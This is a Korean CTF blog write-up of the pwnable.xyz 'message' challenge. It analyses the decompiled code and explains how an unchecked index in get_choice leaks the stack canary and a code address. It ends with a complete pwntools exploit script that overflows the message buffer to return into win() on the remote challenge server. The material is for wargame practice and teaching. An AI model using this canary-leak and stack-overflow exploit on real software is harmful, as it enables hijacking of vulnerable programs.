War Game/Pwnable.xyz

[Pwnable.xyz] message

tmxk4221 2020. 9. 9. 21:52

1. 문제

nc svc.pwnable.xyz 30017

 

1) mitigation 확인

 

2) 문제 확인

  • message에 값을 저장하고 2번 메뉴를 통해 출력할 수 있으며 1번 메뉴를 통해 수정할 수 있다.
  • 하지만 3번메뉴를 선택하면 아무런 출력이 없다.

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char v5; // [rsp+10h] [rbp-30h]
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("Message taker.");
  printf("Message: ");
  _isoc99_scanf("%s", &v5);
  getchar();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      printf("> ");
      v3 = get_choice();
      if ( v3 != 1 )
        break;
      printf("Message: ");
      _isoc99_scanf("%s", &v5);
      getchar();
    }
    if ( v3 <= 1 )
      break;
    if ( v3 == 2 )
    {
      printf("Your message: %s\n", &v5);
    }
    else if ( v3 == 3 )
    {
      if ( admin )
        win();
    }
    else
    {
LABEL_14:
      printf("Error: %d is not a valid option\n", (unsigned int)v3);
    }
  }
  if ( v3 )
    goto LABEL_14;
  return 0;
}
  • 1번 메뉴에서 scanf를 통해 v5[rbp-0x30]에 message에 대한 입력을 받음 → bof취약점 발생
  • 2번 메뉴에서 message출력
  • 3번 메뉴에서 admin(전역변수)에 값이 존재하면 win함수 실행
  • 만족하는 조건이 없으면 입력받은 v3값을 출력해준다.

 

3-2) get_choice()

__int64 get_choice()
{
  char v1; // [rsp+Dh] [rbp-13h]
  char v2; // [rsp+Eh] [rbp-12h]
  char v3; // [rsp+Fh] [rbp-11h]
  char v4; // [rsp+10h] [rbp-10h]
  char v5; // [rsp+11h] [rbp-Fh]
  char v6; // [rsp+12h] [rbp-Eh]
  char v7; // [rsp+13h] [rbp-Dh]
  char v8; // [rsp+14h] [rbp-Ch]
  char v9; // [rsp+15h] [rbp-Bh]
  char v10; // [rsp+16h] [rbp-Ah]
  char v11; // [rsp+17h] [rbp-9h]
  unsigned __int64 v12; // [rsp+18h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  v2 = 0;
  v3 = 1;
  v4 = 2;
  v5 = 3;
  v6 = 4;
  v7 = 5;
  v8 = 6;
  v9 = 7;
  v10 = 8;
  v11 = 9;
  v1 = getchar();
  getchar();
  return (unsigned __int8)*(&v2 + v1 - 48);
}
  • v2 ~ v11까지 0 ~ 9로 세팅한다.
  • v1[rbp-0x13]에 getchar()로 문자를 받고 return값으로 [&v2 + v1 - 48]에 존재하는 값을 준다.
  • 아마도 숫자 0 ~ 9까지 각 변수에 세팅하고 v1에 문자를 입력받으면 48만큼 빼줘서 정수 값으로 계산되어 세팅된 변수의 값을 찾아서 리턴해주는 것 같다.

 

전역변수)

  • admin : 0x2021e4

 


2. 접근방법

 

bof취약점이 발생하는 것을 알 수 있으나 현재 canary가 걸려있는 상태이며 bss영역에 있는 admin에 값이 존재해야 win함수가 호출된다. 하지만 카나리 값을 릭할 수만 있다면 main()의 ret에 win()를 넣으면 될 것 같다.

 

 

1) scanf()를 통해 카나리 값 릭

 

scanf()를 이용하여 카나리 값이 위치한 곳까지 널 바이트를 제거해주도록 한다.

  • scanf로 입력을 받기 전 스택 상황이다. [rbp-0x8]에는 카나리 값이 존재하며 카나리 하위 1byte는 널 바이트므로 scanf로 0x29byte만큼 입력을 받아 카나리 하위 1byte까지 덮도록 한다.

  • 카나리 하위 1byte까지 덮기는 했지만 다시 문자열 끝에 널 바이트가 추가로 붙는다.
  • 따라서, scanf로 카나리 값을 릭할 수는 없다.

 

 

2) get_choice()를 이용하여 카나리 값 릭

 

코드 분석을 통해 get_choice()가 문자를 숫자로 변경해주는 것을 확인하였다.

그리고 get_choice의 리턴 값을 main함수의 v3에 저장하고 메뉴 선택하는데 이용을 해서 각 메뉴에 맞는 로직을 실행하는데 마땅한 조건이 없으면 v3를 출력해주는 것을 확인하였다.

printf("Error: %d is not a valid option\n", (unsigned int)v3);
  • 메인 함수에서 else문의 v3값을 출력해주는 부분

 

우리는 main()의 저 printf()와 get_choice()를 이용하여 카나리 릭을 할 것이다.

 

  • 현재 getchar()를 통해 "A"를 입력으로 받은 상황이다. → [rbp-0x13]
  • eax값에 저장하고 0x30만큼 빼준 뒤 [rbp+rax*1-0x12]의 값을 eax에 넣어 return해준다.
  • [rbp-0x8]에는 카나리 값이 존재하므로 rax값을 잘 조절해주면 [rbp-0x8] ~ [rbp-0x1]로 변경할 수 있을 것이다. 그렇게 되면 [rbp-0x8] ~ [rbp-0x1]에 있는 1byte를 eax에 저장하고 return하므로 메인 함수의 else문에서 릭 될 것이다.

 

공격 프로세스)

  • get_choice()를 이용하여 1byte씩 카나리[rbp-0x8] 값을 릭한다.
  • get_choice()를 이용하여 1byte씩 <main+113>주소 값을 릭한다.
  • bof를 수행하여 [rbp-0x8]에는 카나리 값을 위치해주고 아까 <main+113>주소 값을 구한 것을 이용하여 win()의 주소 값을 구하여 ret에 넣어준다.

 

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30017)
#gdb.attach(p)

clist = [';', '<', '=', '>', '?', '@', 'A']
mlist = ['J', 'K', 'L', 'M', 'N', 'O']
canary = ''
main = ''

# 1. canary leak
p.sendlineafter(": ", "A")

for data in clist[::-1]:
    p.sendlineafter("> ", data)
    p.recvuntil("Error: ")
    leak = p.recvuntil(" is")
    canary += format(int(leak[0:-2]), 'x')
    
canary += '00'
canary = int(canary, 16)
log.info("canary : " + hex(canary))

# 2. main leak
for data in mlist[::-1]:
    p.sendlineafter("> ", data)
    p.recvuntil("Error: ")
    leak = p.recvuntil(" is")
    main += format(int(leak[0:-2]), 'x')
    
main = int(main, 16)
main -= 0x71
win = main - 0x13
log.info("main : " + hex(main))
log.info("win : " + hex(win))


# 3. return to win
payload = "A"*0x28
payload += p64(canary)
payload += "A"*0x8
payload += p64(win)

p.sendlineafter("> ", str(1))
p.sendlineafter(": ", payload)
p.sendlineafter("> ", str(0))


p.interactive()

 

 

2) 공격실행